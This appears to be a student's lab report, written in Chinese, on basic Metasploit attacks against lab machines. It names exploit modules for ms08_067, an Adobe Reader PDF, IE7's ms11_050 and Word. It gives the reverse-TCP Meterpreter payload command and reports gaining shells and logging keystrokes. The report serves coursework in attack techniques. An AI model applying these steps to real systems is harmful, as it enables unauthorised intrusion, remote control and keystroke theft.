20145321 《网络对抗技术》 MSF基础应用

20145321 《网络对抗技术》 MSF基础应用

实验内容

掌握metasploit的基本应用方式以及常用的三种攻击方式的思路

主动攻击，即对系统的攻击，不需要被攻击方配合，这里以ms08_067为例

针对浏览器的攻击，以ms11_050为例，针对IE7的漏洞攻击

针对客户端的攻击，即对具体应用上的攻击，以对Adobe阅读器的漏洞攻击为例

同样尝试针对具体的应用攻击，这里是针对word的ms10_087

尝试运用辅助模块，这里使用auxiliary/scanner/portscan/tcp模块，扫描目标系统的tcp端口

基础问题回答

解释exploit,payload,encode是什么：

exploit是利用漏洞渗透攻击的代码；payload英文单词意思是有效载荷，在这里就是攻击载荷；encode是编码来实现免杀。

实验过程

MS08_067漏洞攻击

先查看kali和SP3的IP地址

进入msfconsole，选择使用ms08_067的exploit，再选择具体要负载使用的payload，设置载荷，主机ip，靶机ip

输入exploit命令即可攻击客户端、获取shell。可查看靶机IP

Adobe阅读器渗透攻击

输入命令use exploit/windows/fileformat/adobe_cooltype_sing，进入该漏洞模块; 使用命令set payload windows/meterpreter/reverse_tcp设置攻击载荷;设置端口，主机ip，产生pdf文件名。

输入exploit,生成pdf文件，可以看到pdf所在文件夹，将pdf复制到靶机里。

主机开启监听模块

靶机运行PDF文件。攻击成功

IE浏览器漏洞攻击

 输入命令use windows/browser/ms11050mshtml_cobjectelement，进入该漏洞模块，并设置参数

用exploit 生成一个网址

靶机打开网址http：//192.168.43.36：8080/zzy

攻击成功，抓击键记录，获取shell

辅助模块

用search了解一下有关scanner/http/dir_listing的相关信息

show auxiliary查看攻击模块，设置参数

exploit